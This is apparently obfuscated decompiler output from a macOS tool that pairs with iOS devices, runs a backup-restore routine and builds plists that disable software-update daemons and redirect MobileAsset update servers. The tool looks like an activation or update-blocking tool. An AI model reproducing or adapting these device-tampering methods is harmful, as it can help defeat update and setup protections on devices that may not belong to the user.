objc_release(v8);
v9 = objc_loadWeakRetained((id *)(*v19 + 128LL));
objc_msgSend(v9, "stopAnimation:", *v19);
objc_release(v9);
v10 = objc_loadWeakRetained((id *)(*v19 + 128LL));
HikariFunctionWrapper_17387(v10, "setHidden:");
objc_release(v10);
objc_msgSend(*(id *)(*v19 + 96LL), v17, 1);
objc_msgSend(*(id *)(*v19 + 104LL), v17, 1);
HikariFunctionWrapper_17389(AldazDevClass, "FinishProgressBar");
*v18 = 1503944414;
}
}
if ( v15 != -450469207 )
break;
v17 = "setEnabled:";
*v18 = -1954302810;
}
if ( v15 != 157876263 )
break;
*v18 = -450469207;
}
}
while ( v15 != -38326524 );
return result;
}
// 10010841C: conditional instruction was optimized away because %var_50.4==C280C40
// 100108562: variable 'v1' is possibly undefined
//----- (00000001001085B3) ----------------------------------------------------
void __cdecl __31__AppDelegate_activate_device___block_invoke_5(id a1)
{
int v1; // eax
NSString *v2; // rax
NSString *v3; // r12
bool v4; // zf
int v5; // ecx
char v6; // cf
int v7; // ecx
id v8; // rax
char **v9; // rcx
int v10; // eax
id v11; // [rsp+0h] [rbp-70h]
id v12; // [rsp+8h] [rbp-68h]
char **v13; // [rsp+10h] [rbp-60h]
void *v14; // [rsp+18h] [rbp-58h]
id v15; // [rsp+20h] [rbp-50h]
SEL *v16; // [rsp+28h] [rbp-48h]
int v17; // [rsp+34h] [rbp-3Ch]
int v18; // [rsp+38h] [rbp-38h] BYREF
bool v19; // [rsp+3Ch] [rbp-34h]
unsigned __int8 v20; // [rsp+3Dh] [rbp-33h]
bool v21; // [rsp+3Eh] [rbp-32h]
char v22; // [rsp+3Fh] [rbp-31h]
int *v23; // [rsp+40h] [rbp-30h]
v18 = 1423811599;
v23 = &v18;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v18 <= 806272620 )
{
if ( v18 <= -247819980 )
{
if ( v18 <= -1394321090 )
{
switch ( v18 )
{
case -1962916126:
*v23 = 1856909272;
break;
case -1901689406:
objc_msgSend(
v12,
"NSControlUpdateProgress:withStatus:",
CFSTR("%\x01<\x94\xB0\x80\x19\xEC\x3D\x77\xE8\x3B\x84\xB0\xC8\x4C\x92\xA5\xA0"),
CFSTR("g\x17\xCF\x7F\xB6\x1F\x94"));
*v23 = 1152018934;
break;
case -1640902178:
*v23 = 1771298434;
break;
}
}
else if ( v18 > -813967537 )
{
if ( v18 == -813967536 )
{
v6 = 1;
aIY[0] = 65;
aIY[1] = 99;
aIY[2] = 116;
aIY[3] = 105;
aIY[4] = 118;
v22 = -66;
v1 = 1722078912;
v7 = -813967536;
goto LABEL_74;
}
if ( v18 == -336761461 )
{
v4 = !v19;
v1 = 213681;
v5 = 982952558;
goto LABEL_56;
}
}
else if ( v18 == -1394321089 )
{
aIY[0] = 65;
aIY[1] = 99;
aIY[2] = 116;
aIY[3] = 105;
aIY[4] = 118;
*v23 = -813967536;
}
else if ( v18 == -1068743689 )
{
v2 = +[iOSDevice ActStatus](&OBJC_CLASS___iOSDevice, "ActStatus");
v3 = objc_retainAutoreleasedReturnValue(v2);
v20 = -[NSString isEqualToString:](v3, "isEqualToString:", CFSTR("\n畓I\x1CY&\\"));
objc_release(v3);
*v23 = 1728493974;
}
}
else if ( v18 > 238463421 )
{
if ( v18 > 682662786 )
{
if ( v18 == 682662787 )
{
v10 = -1901689406;
if ( v21 )
v10 = 9945315;
*v23 = v10;
v8 = v12;
v9 = &selRef_activate_device_hactivate_;
LABEL_82:
v13 = v9;
v14 = v8;
}
else if ( v18 == 791399923 )
{
objc_msgSend(v15, *v16, 0);
*v23 = 1399100909;
}
}
else if ( v18 == 238463422 )
{
v19 = v17 == 0;
*v23 = -336761461;
}
else if ( v18 == 385711331 )
{
v6 = 0;
aG_16[2] = 114;
aG_16[3] = 109;
aG_16[4] = 97;
aG_16[5] = 108;
aG_16[6] = 0;
v1 = 1629371427;
v7 = 1463828869;
goto LABEL_74;
}
}
else if ( v18 > 213680 )
{
if ( v18 == 213681 )
{
dword_10029F584 = 1;
*v23 = -1068743689;
}
else if ( v18 == 9945315 )
{
v15 = v14;
v16 = (SEL *)v13;
v4 = 0;
v1 = 791399923;
v5 = 1399100909;
LABEL_56:
if ( !v4 )
v1 = v5;
goto LABEL_76;
}
}
else if ( v18 == -247819979 )
{
v21 = v20 == 0;
v6 = 0;
v12 = AldazDevClass;
v1 = 2015881570;
v7 = 682662787;
LABEL_74:
if ( !v6 )
v1 = v7;
LABEL_76:
*v23 = v1;
}
else if ( v18 == -159226880 )
{
aIY[5] = v22 ^ 0xDF;
aIY[6] = 116;
aIY[7] = 101;
aIY[8] = 100;
aIY[9] = 0;
strcpy(asc_10027DC50, "Blocking Updats...");
aG_16[0] = 78;
aG_16[1] = 111;
goto LABEL_62;
}
}
if ( v18 > 1550735574 )
break;
if ( v18 > 1399100908 )
{
if ( v18 > 1449103064 )
{
if ( v18 == 1449103065 )
{
aIY[5] = v22 ^ 0xDF;
aIY[6] = 116;
aIY[7] = 101;
aIY[8] = 100;
aIY[9] = 0;
strcpy(asc_10027DC50, "Blocking Updats...");
v6 = 1;
aG_16[0] = 78;
aG_16[1] = 111;
v1 = -1962916126;
v7 = 1449103065;
goto LABEL_74;
}
if ( v18 == 1463828869 )
*v23 = 213681;
}
else
{
if ( v18 == 1399100909 )
{
objc_msgSend(v15, *v16, 0);
v6 = 1;
v1 = 1807417275;
v7 = 791399923;
goto LABEL_74;
}
if ( v18 == 1423811599 )
{
v4 = 0;
v1 = -1640902178;
v5 = 1771298434;
goto LABEL_56;
}
}
}
else if ( v18 > 1152018933 )
{
if ( v18 == 1152018934 )
{
v11 = AldazDevClass;
*v23 = 806272621;
}
else if ( v18 == 1297546142 )
{
*v23 = 238463422;
}
}
else
{
if ( v18 == 806272621 )
{
*v23 = 9945315;
v8 = v11;
v9 = &selRef_activate_device_BlockOta_;
goto LABEL_82;
}
if ( v18 == 982952558 )
{
v1 = -813967536;
goto LABEL_76;
}
}
}
if ( v18 > 1771298433 )
break;
if ( v18 > 1722078911 )
{
if ( v18 == 1722078912 )
{
*v23 = 1550735575;
}
else if ( v18 == 1728493974 )
{
v6 = 1;
v1 = -247819979;
v7 = 2015881570;
goto LABEL_74;
}
}
else if ( v18 == 1550735575 )
{
LABEL_62:
*v23 = 1449103065;
}
else if ( v18 == 1629371427 )
{
aG_16[2] = 114;
aG_16[3] = 109;
aG_16[4] = 97;
aG_16[5] = 108;
aG_16[6] = 0;
*v23 = 385711331;
}
}
if ( v18 <= 1856909271 )
break;
if ( v18 == 1856909272 )
{
v1 = 385711331;
goto LABEL_76;
}
if ( v18 == 2015881570 )
*v23 = -247819979;
}
if ( v18 != 1771298434 )
break;
v17 = dword_10029F584;
*v23 = 1297546142;
}
}
while ( v18 != 1807417275 );
}
// 100108BCA: variable 'v14' is possibly undefined
// 100108BDE: variable 'v13' is possibly undefined
// 100108C32: variable 'v15' is possibly undefined
// 100108C29: variable 'v16' is possibly undefined
// 100108CCD: variable 'v11' is possibly undefined
// 10010915F: variable 'v17' is possibly undefined
// 1001091A2: variable 'v12' is possibly undefined
// 10025F190: using guessed type char *selRef_activate_device_BlockOta_;
// 10025F198: using guessed type char *selRef_activate_device_hactivate_;
// 10025F9F8: using guessed type __objc2_class OBJC_CLASS___iOSDevice;
// 10027DDA0: using guessed type __CFString cfstr_G_16_1;
// 10027DDE0: using guessed type __CFString stru_10027DDE0;
// 10027DE20: using guessed type __CFString cfstr_IY_1;
// 10029F584: using guessed type int dword_10029F584;
//----- (000000010010920E) ----------------------------------------------------
void __cdecl -[AppDelegate activate_device_BlockOta:](AppDelegate *self, SEL a2, id a3)
{
char v3; // cf
int v4; // eax
int v5; // ecx
char v6; // cf
int v7; // ecx
bool v8; // zf
int v9; // ecx
char IsPaired; // al
__int64 v11; // [rsp+0h] [rbp-60h]
__int64 v12; // [rsp+8h] [rbp-58h]
int v13; // [rsp+18h] [rbp-48h]
int v14; // [rsp+1Ch] [rbp-44h] BYREF
SEL v15; // [rsp+20h] [rbp-40h]
bool v16; // [rsp+2Eh] [rbp-32h]
char v17; // [rsp+2Fh] [rbp-31h]
int *v18; // [rsp+30h] [rbp-30h]
v14 = 1468415247;
v18 = &v14;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v14 > 218957792 )
{
if ( v14 > 1278344805 )
{
if ( v14 > 1705439206 )
{
if ( v14 > 2071194040 )
{
switch ( v14 )
{
case 2071194041:
AMDeviceStartSession(idevice);
OTA_DISABLED();
objc_msgSend(AldazDevClass, v15, 50.0);
HikariFunctionWrapper_17391();
objc_msgSend(AldazDevClass, v15, 100.0);
InProcessDevice = 0;
+[iOSDevice setBreakLoop:](&OBJC_CLASS___iOSDevice, "setBreakLoop:", 1);
v6 = 0;
v4 = 1165688755;
v7 = -2102842960;
goto LABEL_111;
case 2125009469:
v4 = 351995038;
goto LABEL_117;
case 2127316429:
v8 = !v16;
v4 = -1644531618;
v9 = 1421678861;
goto LABEL_101;
}
}
else
{
switch ( v14 )
{
case 1705439207:
HikariFunctionWrapper_17393(CFSTR("9\xA0\xA7\xC0\xA7nP\xB0\xAA29\xF7\x1B\xE4\xF6B\xAA2 7\xD9\x2C\x02\xE5\xE6\x11\x99\xD4\xEC\x99\x17Q\xF9r\n\x95O\xE5\xDC\xBC8\xF4\x10\x35\xC1\xB8z\x87"));
*v18 = 980286900;
break;
case 1777977448:
*v18 = -1888008190;
break;
case 2069530845:
*v18 = 1278344806;
break;
}
}
}
else if ( v14 > 1468415246 )
{
switch ( v14 )
{
case 1468415247:
v3 = 0;
v4 = -1376832572;
v5 = -1306803154;
goto LABEL_115;
case 1557793829:
a9_4[35] = 114;
a9_4[36] = 116;
a9_4[37] = 105;
a9_4[38] = 110;
a9_4[39] = 103;
a9_4[40] = 32;
*v18 = 125192847;
break;
case 1566767404:
IsPaired = AMDeviceIsPaired(v11);
v8 = 0;
v17 = IsPaired;
v4 = -1265044931;
v9 = 693741898;
goto LABEL_101;
}
}
else
{
switch ( v14 )
{
case 1278344806:
v8 = 0;
v4 = 40818586;
v9 = 1557793829;
LABEL_101:
if ( !v8 )
v4 = v9;
LABEL_117:
*v18 = v4;
break;
case 1421678861:
v3 = 0;
v4 = 67378565;
v5 = -1311166027;
goto LABEL_115;
case 1427903706:
*v18 = -925712085;
break;
}
}
}
else if ( v14 > 700605815 )
{
if ( v14 > 980286899 )
{
switch ( v14 )
{
case 980286900:
v4 = 278128980;
goto LABEL_117;
case 1074540130:
a9_4[41] = 110;
a9_4[42] = 111;
a9_4[43] = 119;
a9_4[44] = 33;
a9_4[45] = 46;
a9_4[46] = 46;
a9_4[47] = 46;
a9_4[48] = 46;
a9_4[49] = 0;
*v18 = -1644531618;
break;
case 1165688755:
AMDeviceStartSession(idevice);
HikariFunctionWrapper_17395();
objc_msgSend(AldazDevClass, v15, 50.0);
BackupRestore();
objc_msgSend(AldazDevClass, v15, 100.0);
InProcessDevice = 0;
+[iOSDevice setBreakLoop:](&OBJC_CLASS___iOSDevice, "setBreakLoop:", 1);
*v18 = 2071194041;
break;
}
}
else
{
switch ( v14 )
{
case 700605816:
v6 = 0;
v4 = -1265044931;
v7 = 1566767404;
goto LABEL_111;
case 903321460:
*v18 = 2125009469;
break;
case 978036926:
*v18 = 278128980;
break;
}
}
}
else if ( v14 > 365814636 )
{
switch ( v14 )
{
case 365814637:
AMDevicePair(v12);
v6 = 1;
v4 = 903321460;
v7 = -1857761048;
goto LABEL_111;
case 581222200:
*v18 = -11793261;
break;
case 693741898:
v8 = v17 == 0;
v4 = -640298922;
v9 = -42189195;
goto LABEL_101;
}
}
else
{
switch ( v14 )
{
case 218957793:
v3 = 1;
v4 = 1427903706;
v5 = -925712085;
goto LABEL_115;
case 278128980:
v6 = 1;
v4 = -82060168;
v7 = 978036926;
goto LABEL_111;
case 351995038:
v3 = 0;
v4 = -12594528;
v5 = 351995038;
goto LABEL_115;
}
}
}
if ( v14 > -1171182904 )
break;
if ( v14 > -1517677670 )
{
if ( v14 > -1306803155 )
{
switch ( v14 )
{
case -1306803154:
*v18 = -1376832572;
break;
case -1283008230:
idevice = AMDeviceCreateCopy(idevice);
AMDeviceConnect(idevice);
v11 = idevice;
*v18 = 700605816;
break;
case -1265044931:
AMDeviceIsPaired(v11);
*v18 = 1566767404;
break;
}
}
else
{
switch ( v14 )
{
case -1517677669:
goto LABEL_89;
case -1376832572:
v8 = 0;
v13 = dword_10029F588;
v4 = -1376832572;
v9 = -446780423;
goto LABEL_101;
case -1311166027:
qmemcpy(a9_4, "Ota has been disabled, device resta", 35);
*v18 = 67378565;
break;
}
}
}
else if ( v14 > -1857761049 )
{
switch ( v14 )
{
case -1857761048:
AMDevicePair(v12);
LABEL_89:
*v18 = 365814637;
break;
case -1837679180:
dword_10029F588 = 1;
v15 = "UpdateProgressBar:";
objc_msgSend(AldazDevClass, "UpdateProgressBar:", 20.0);
*v18 = -1171182903;
break;
case -1644531618:
LABEL_52:
*v18 = -1837679180;
break;
}
}
else
{
switch ( v14 )
{
case -2109210514:
*v18 = 351995038;
break;
case -2102842960:
*v18 = 1705439207;
break;
case -1888008190:
v6 = 0;
v4 = 581222200;
v7 = -11793261;
goto LABEL_111;
}
}
}
if ( v14 <= -12594529 )
break;
if ( v14 > 40818585 )
{
switch ( v14 )
{
case 40818586:
a9_4[35] = 114;
a9_4[36] = 116;
a9_4[37] = 105;
a9_4[38] = 110;
a9_4[39] = 103;
a9_4[40] = 32;
*v18 = 1557793829;
break;
case 67378565:
qmemcpy(a9_4, "Ota has been disabled, device resta", 35);
v3 = 0;
v4 = 2069530845;
v5 = 67378565;
LABEL_115:
if ( v3 )
v4 = v5;
goto LABEL_117;
case 125192847:
*v18 = 1074540130;
break;
}
}
else
{
switch ( v14 )
{
case -12594528:
*v18 = -42189195;
break;
case -11793261:
v6 = 1;
v4 = 2127316429;
v7 = 581222200;
LABEL_111:
if ( !v6 )
v4 = v7;
goto LABEL_117;
case 23764633:
dword_10029F588 = 1;
objc_msgSend(AldazDevClass, "UpdateProgressBar:", 20.0);
goto LABEL_52;
}
}
}
if ( v14 > -446780424 )
break;
switch ( v14 )
{
case -1171182903:
*v18 = -1283008230;
break;
case -925712085:
v16 = v13 == 0;
v6 = 0;
v4 = -925712085;
v7 = 1777977448;
goto LABEL_111;
case -640298922:
v12 = idevice;
*v18 = -1517677669;
break;
}
}
if ( v14 != -446780423 )
break;
*v18 = 218957793;
}
if ( v14 == -42189195 )
{
v6 = 1;
v4 = 2071194041;
v7 = 1165688755;
goto LABEL_111;
}
}
while ( v14 != -82060168 );
}
// 100109797: variable 'v11' is possibly undefined
// 1001099D1: variable 'v13' is possibly undefined
// 100109ADD: variable 'v12' is possibly undefined
// 100256156: using guessed type __int64 __fastcall AMDeviceConnect(_QWORD);
// 100256162: using guessed type __int64 __fastcall AMDeviceCreateCopy(_QWORD);
// 100256174: using guessed type __int64 __fastcall AMDeviceIsPaired(_QWORD);
// 100256180: using guessed type __int64 __fastcall AMDevicePair(_QWORD);
// 100256198: using guessed type __int64 __fastcall AMDeviceStartSession(_QWORD);
// 10025F9F8: using guessed type __objc2_class OBJC_CLASS___iOSDevice;
// 10027DEE0: using guessed type __CFString cfstr_9_4;
// 10029F588: using guessed type int dword_10029F588;
// 10029F840: using guessed type char InProcessDevice;
// 10029F898: using guessed type __int64 idevice;
//----- (000000010010A2D5) ----------------------------------------------------
__int64 OTA_DISABLED()
{
bool v0; // cf
int v1; // eax
int v2; // ecx
bool v3; // zf
int v4; // ecx
id v5; // rax
id v6; // rax
char v7; // cf
int v8; // ecx
id v9; // rax
id v10; // r14
id v11; // rax
id v12; // r15
NSString *v13; // rax
id v14; // rax
id v15; // rax
id v16; // rax
id *v17; // rbx
id v18; // rax
id v19; // rax
id *v20; // r14
id v21; // rax
id *v22; // rbx
id v23; // rax
id *v24; // rbx
id v25; // rax
id *v26; // rbx
id v27; // rax
id *v28; // rbx
id v29; // rax
id v30; // r12
id *v31; // rbx
id v32; // rax
id v33; // r13
id *v34; // r15
id v35; // rax
id v36; // rbx
id v37; // rax
id v38; // rax
__int64 *v39; // r14
NSNumber *v40; // rax
__int64 *v41; // r14
NSNumber *v42; // rax
NSData *v43; // rax
id v44; // rax
id v45; // rax
id v46; // rax
id v47; // rax
id *v48; // rbx
id v49; // rax
__int64 *v50; // r14
NSNumber *v51; // rax
__int64 *v52; // r14
id v53; // rax
id v54; // rax
NSData *v55; // rax
id v56; // rax
id v57; // rax
id *v58; // r15
Directory *v59; // r14
id v60; // rax
id *v61; // r14
Directory *v62; // rax
id *v63; // r14
Directory *v64; // rax
id *v65; // r14
ConcreteFile *v66; // rax
id *v67; // r14
Directory *v68; // rax
id *v69; // r14
Directory *v70; // rax
id *v71; // r14
ConcreteFile *v72; // rax
ConcreteFile *v73; // r15
id *v74; // r14
Directory *v75; // rax
Directory *v76; // r13
id *v77; // r14
Directory *v78; // rax
id v79; // r12
id *v80; // r14
ConcreteFile *v81; // rax
id v82; // rbx
NSArray *v83; // rax
NSArray *v84; // r14
NSString *v85; // rax
NSString *v86; // r15
NSUUID *v87; // rax
NSUUID *v88; // rbx
NSString *v89; // rax
NSString *v90; // r12
NSString *v91; // rax
NSString *v92; // r14
id v93; // rax
id v94; // rbx
id v95; // rbx
id v96; // rdi
id v97; // rax
id v98; // rax
id v99; // rax
id *v100; // rbx
id v101; // rax
id *v102; // rbx
id v103; // rax
id *v104; // rbx
id v105; // rax
id v106; // r15
id *v107; // rbx
id v108; // rax
id v109; // r13
id *v110; // r12
id v111; // rax
id v112; // rbx
id *v113; // r14
id v114; // rax
id v115; // r12
id v116; // rax
id v117; // r14
id v118; // rax
id v119; // rbx
id v121; // [rsp-10h] [rbp-1E0h] BYREF
__int64 v122; // [rsp-8h] [rbp-1D8h]
__int64 v123; // [rsp+0h] [rbp-1D0h] BYREF
id v124; // [rsp+8h] [rbp-1C8h]
id v125; // [rsp+10h] [rbp-1C0h]
id v126; // [rsp+18h] [rbp-1B8h]
id v127; // [rsp+20h] [rbp-1B0h]
id v128; // [rsp+28h] [rbp-1A8h]
id v129; // [rsp+30h] [rbp-1A0h]
id v130; // [rsp+38h] [rbp-198h]
id v131; // [rsp+40h] [rbp-190h]
id v132; // [rsp+48h] [rbp-188h]
id v133; // [rsp+50h] [rbp-180h]
void *v134; // [rsp+58h] [rbp-178h]
SEL v135; // [rsp+60h] [rbp-170h]
id v136; // [rsp+68h] [rbp-168h]
SEL v137; // [rsp+70h] [rbp-160h]
id v138; // [rsp+78h] [rbp-158h]
id v139; // [rsp+80h] [rbp-150h]
id *v140; // [rsp+88h] [rbp-148h]
id v141; // [rsp+90h] [rbp-140h]
id v142; // [rsp+98h] [rbp-138h]
id v143; // [rsp+A0h] [rbp-130h]
SEL v144; // [rsp+A8h] [rbp-128h]
id v145; // [rsp+B0h] [rbp-120h]
id v146; // [rsp+B8h] [rbp-118h]
NSString *v147; // [rsp+C0h] [rbp-110h]
id v148; // [rsp+C8h] [rbp-108h]
id v149; // [rsp+D0h] [rbp-100h]
id v150; // [rsp+D8h] [rbp-F8h]
unsigned int v151; // [rsp+E4h] [rbp-ECh]
int v152; // [rsp+E8h] [rbp-E8h]
int v153; // [rsp+ECh] [rbp-E4h] BYREF
id v154; // [rsp+F0h] [rbp-E0h]
id v155; // [rsp+F8h] [rbp-D8h]
NSString *v156; // [rsp+100h] [rbp-D0h]
SEL v157; // [rsp+108h] [rbp-C8h]
NSString *v158; // [rsp+110h] [rbp-C0h]
id v159; // [rsp+118h] [rbp-B8h]
id v160; // [rsp+120h] [rbp-B0h]
id v161; // [rsp+128h] [rbp-A8h]
id v162; // [rsp+130h] [rbp-A0h]
id v163; // [rsp+138h] [rbp-98h]
id v164; // [rsp+140h] [rbp-90h]
id *v165; // [rsp+148h] [rbp-88h]
id *v166; // [rsp+150h] [rbp-80h]
id *v167; // [rsp+158h] [rbp-78h]
bool v168; // [rsp+165h] [rbp-6Bh]
bool v169; // [rsp+166h] [rbp-6Ah]
bool v170; // [rsp+167h] [rbp-69h]
__int64 *v171; // [rsp+168h] [rbp-68h]
__int64 *v172; // [rsp+170h] [rbp-60h]
id *v173; // [rsp+178h] [rbp-58h]
__int64 *v174; // [rsp+180h] [rbp-50h]
SEL v175; // [rsp+188h] [rbp-48h]
char v176; // [rsp+197h] [rbp-39h]
int *v177; // [rsp+198h] [rbp-38h]
__int64 v178; // [rsp+1A0h] [rbp-30h]
v178 = -1;
v151 = 1229277635;
v153 = 704835546;
v177 = &v153;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v153 > 263874883 )
{
if ( v153 > 988577186 )
{
if ( v153 <= 1530736988 )
{
if ( v153 <= 1296508047 )
{
if ( v153 > 1113473447 )
{
if ( v153 == 1113473448 )
{
*v177 = 263874884;
}
else if ( v153 == 1177213682 )
{
*v177 = -1302117271;
}
}
else
{
if ( v153 == 988577187 )
{
v3 = !v169;
v1 = -1131420538;
v4 = -327596492;
goto LABEL_189;
}
if ( v153 == 1102153040 )
*v177 = -1905557469;
}
}
else if ( v153 <= 1522020979 )
{
if ( v153 == 1296508048 )
{
*v177 = -1353984716;
}
else if ( v153 == 1456588937 )
{
v22 = v173;
v23 = HikariFunctionWrapper_17401(&OBJC_CLASS___NSNumber, v175);
v163 = objc_retainAutoreleasedReturnValue(v23);
v22[4] = v163;
v174[5] = (__int64)CFSTR("\x99x\xE3\x65\xF1\x13\xB0\xD5\xF2\xBCz\xE4\xEB\x48A\x15\x9CT\x80 X.\xDE\x31\xB0\xA3\xFE\x14");
v24 = v173;
v25 = objc_msgSend(&OBJC_CLASS___NSNumber, v175, 0);
v164 = objc_retainAutoreleasedReturnValue(v25);
v24[5] = v164;
v174[6] = (__int64)CFSTR("1\xA7z\x81Y\x02\xDD\x11\x1AU}\xF2\xD9\xE3\xA4\x03\xF5\x8F\xBA\xBE\xF8");
v26 = v173;
v27 = HikariFunctionWrapper_17403(&OBJC_CLASS___NSNumber, v175);
v159 = objc_retainAutoreleasedReturnValue(v27);
v26[6] = v159;
v174[7] = (__int64)CFSTR("(\xE8\xE6\x0E@\xD7\x35\xB1J\x93\xB0\x05v-.\x7F\xBAY\x84\xEB\x0C\x4CB\x87]\x1B\xC5\x44\xAC\xC8\xE9\xAC\x8C");
v28 = v173;
v29 = objc_msgSend(&OBJC_CLASS___NSNumber, v175, 1);
v30 = objc_retainAutoreleasedReturnValue(v29);
v28[7] = v30;
v174[8] = (__int64)CFSTR("<A\xC9\x47U\xA4\xEA\xCB\x3Cq\x94\x19Uϖ\xA0\xB4\x1C_@)\xA5{|z.");
v31 = v173;
v32 = objc_msgSend(&OBJC_CLASS___NSNumber, v175, 1);
v33 = objc_retainAutoreleasedReturnValue(v32);
v31[8] = v33;
v174[9] = (__int64)CFSTR("\xCF\x47œDf\x96d\xDF\x3D\xCD\x1E? \xE1\xE5\x6C\xA9\xA2\x96");
v34 = v173;
v35 = objc_msgSend(&OBJC_CLASS___NSNumber, v175, 1);
v36 = objc_retainAutoreleasedReturnValue(v35);
v34[9] = v36;
v37 = objc_msgSend(&OBJC_CLASS___NSDictionary, v135, v173, v174, 10);
v143 = objc_retainAutoreleasedReturnValue(v37);
objc_release(v36);
objc_release(v33);
objc_release(v30);
objc_release(v159);
objc_release(v164);
objc_release(v163);
objc_release(v142);
objc_release(v141);
objc_release(v139);
objc_release(v138);
*v166 = 0;
v38 = objc_msgSend(&OBJC_CLASS___NSPropertyListSerialization, v137, v143, 100, 0, v166);
v160 = objc_retainAutoreleasedReturnValue(v38);
v161 = *v166;
objc_retain(v161);
objc_release(v162);
v7 = 1;
v170 = v161 == 0 && v160 != 0;
v1 = -206023055;
v8 = 1456588937;
goto LABEL_177;
}
}
else
{
switch ( v153 )
{
case 1522020980:
v1 = 1528285464;
goto LABEL_194;
case 1525533381:
v150 = v147;
v7 = 0;
v1 = 572442662;
v8 = 891517506;
goto LABEL_177;
case 1528285464:
aN_21[5] = v176;
aN_21[6] = 112;
aN_21[7] = 108;
aN_21[8] = 101;
aN_21[9] = 46;
aN_21[10] = 109;
aN_21[11] = 111;
aN_21[12] = 98;
aN_21[13] = 105;
aN_21[14] = 108;
aN_21[15] = 101;
aN_21[16] = 46;
aN_21[17] = 111;
aN_21[18] = 98;
aN_21[19] = 108;
aN_21[20] = 105;
aN_21[21] = 116;
aN_21[22] = 101;
aN_21[23] = 114;
aN_21[24] = 97;
aN_21[25] = 116;
aN_21[26] = 105;
aN_21[27] = 111;
aN_21[28] = 110;
aN_21[29] = 0;
strcpy(a2_1, "MobileAssetSUAllowSameVersionFullReplacement");
strcpy(asc_10027E710, "MobileAssetServerURL-com.apple.MobileAsset.RecoveryOSUpdateBrain");
strcpy(asc_10027E650, "65254ac3-f331-4c19-8559-cbe22f5bc1a6");
strcpy(asc_10027E530, "MobileAssetSUAllowOSVersionChange");
a11[0] = 109;
a11[1] = 111;
a11[2] = 98;
a11[3] = 105;
a11[4] = 108;
a11[5] = 101;
a11[6] = 0;
strcpy(asc_10027E4A0, "MobileAssetServerURL-com.apple.MobileAsset.RecoveryOSUpdate");
strcpy(asc_10027E4EB, "DatabaseDomain");
strcpy(asc_10027E420, "MobileAssetServerURL-com.apple.MobileAsset.SoftwareUpdate");
strcpy(aUM, "com.apple.magicswitchd.companion");
strcpy(asc_10027E360, "com.apple.security.otpaird");
strcpy(a0_1, "com.apple.dhcp6d");
strcpy(a1_5, "com.apple.relevanced");
strcpy(aN2wn, "MobileAssetAssetAudience");
strcpy(asc_10027E5F0, "com.apple.xpc.launchd/disabled.plist");
strcpy(aA_14, "com.apple.OTATaskingAgent");
strcpy(asc_10027E2D0, "com.apple.mobile.softwareupdated");
strcpy(a5_4, "Error al crear el plist: %@");
strcpy(asc_10027DFC0, "Library/Preferences/com.apple.purplebuddy.plist");
strcpy(asc_10027DF70, "ManagedPreferencesDomain");
strcpy(asc_10027E160, "com.apple.sysdiagnose");
strcpy(aM_8, "mobile/com.apple.MobileAsset.plist");
asc_10027E08C[0] = 76;
asc_10027E08C[1] = 105;
asc_10027E08C[2] = 98;
v0 = 1;
asc_10027E08C[3] = 114;
v1 = 845816280;
v2 = -1711254829;
goto LABEL_182;
}
}
}
else if ( v153 > 1901241936 )
{
if ( v153 <= 2072580709 )
{
if ( v153 == 1901241937 )
{
v1 = -303568798;
goto LABEL_194;
}
if ( v153 == 1910703136 )
{
*v177 = -1688073629;
v148 = v155;
v149 = v162;
}
}
else
{
switch ( v153 )
{
case 2072580710:
v97 = objc_msgSend(v162, "localizedDescription");
v155 = objc_retainAutoreleasedReturnValue(v97);
v1 = 1102153040;
goto LABEL_194;
case 2073087735:
NSLog(
CFSTR("\xD7\xFCUbW\xC4\x55\xD4\x58\xC3\x3Ck\xCD\x73\xFC.\x85\x1Dj_<\tp\xB1\x88\xB7\xEB\xD2\xDA\x93\xC6\x1F\xB1\xA3\xA5\x94\x1B\x1Fb\aa{"),
v155);
v7 = 1;
v1 = 958426420;
v8 = 2073087735;
LABEL_177:
if ( !v7 )
v1 = v8;
goto LABEL_194;
case 2137687037:
v14 = objc_msgSend(v161, v144);
v156 = (NSString *)objc_retainAutoreleasedReturnValue(v14);
v1 = 1177213682;
goto LABEL_194;
}
}
}
else if ( v153 <= 1612293187 )
{
if ( v153 == 1530736989 )
{
v3 = !v168;
v1 = -1614918892;
v4 = -987026934;
LABEL_189:
if ( !v3 )
v1 = v4;
LABEL_194:
*v177 = v1;
}
else if ( v153 == 1587814626 )
{
v43 = +[NSData dataWithContentsOfFile:](&OBJC_CLASS___NSData, "dataWithContentsOfFile:", v158);
v145 = objc_retainAutoreleasedReturnValue(v43);
v124 = HikariFunctionWrapper_17411((objc_class *)&OBJC_CLASS___Backup);
v125 = objc_alloc(&OBJC_CLASS___Directory);
v44 = HikariFunctionWrapper_17413(&OBJC_CLASS___NSString, v157);
v45 = objc_retainAutoreleasedReturnValue(v44);
v7 = 1;
v146 = v45;
v1 = -1670212583;
v8 = -1006014971;
goto LABEL_177;
}
}
else
{
switch ( v153 )
{
case 1612293188:
*v177 = -603815860;
break;
case 1686713470:
v7 = 0;
v1 = -1913440813;
v8 = -895303256;
goto LABEL_177;
case 1696005509:
v135 = "dictionaryWithObjects:forKeys:count:";
v5 = HikariFunctionWrapper_17397(v134, "dictionaryWithObjects:forKeys:count:");
v136 = objc_retainAutoreleasedReturnValue(v5);
objc_release(v133);
objc_release(v132);
*v165 = 0;
v137 = "dataWithPropertyList:format:options:error:";
v6 = HikariFunctionWrapper_17399(
&OBJC_CLASS___NSPropertyListSerialization,
"dataWithPropertyList:format:options:error:");
v154 = objc_retainAutoreleasedReturnValue(v6);
v162 = *v165;
objc_retain(v162);
v169 = v154 == 0;
v7 = 1;
v1 = 988577187;
v8 = 1696005509;
goto LABEL_177;
}
}
}
else if ( v153 <= 798584381 )
{
if ( v153 <= 678951070 )
{
if ( v153 > 572442661 )
{
if ( v153 == 572442662 )
{
objc_release(v150);
objc_release(v160);
*v177 = 891517506;
}
else if ( v153 == 646254924 )
{
NSLog(
CFSTR("\xD7\xFCUbW\xC4\x55\xD4\x58\xC3\x3Ck\xCD\x73\xFC.\x85\x1Dj_<\tp\xB1\x88\xB7\xEB\xD2\xDA\x93\xC6\x1F\xB1\xA3\xA5\x94\x1B\x1Fb\aa{"),
v155);
*v177 = 2073087735;
}
}
else if ( v153 == 263874884 )
{
*v177 = 1530736989;
}
else if ( v153 == 347080731 )
{
*v177 = 798584382;
}
}
else if ( v153 <= 704644032 )
{
if ( v153 == 678951071 )
{
v100 = v173;
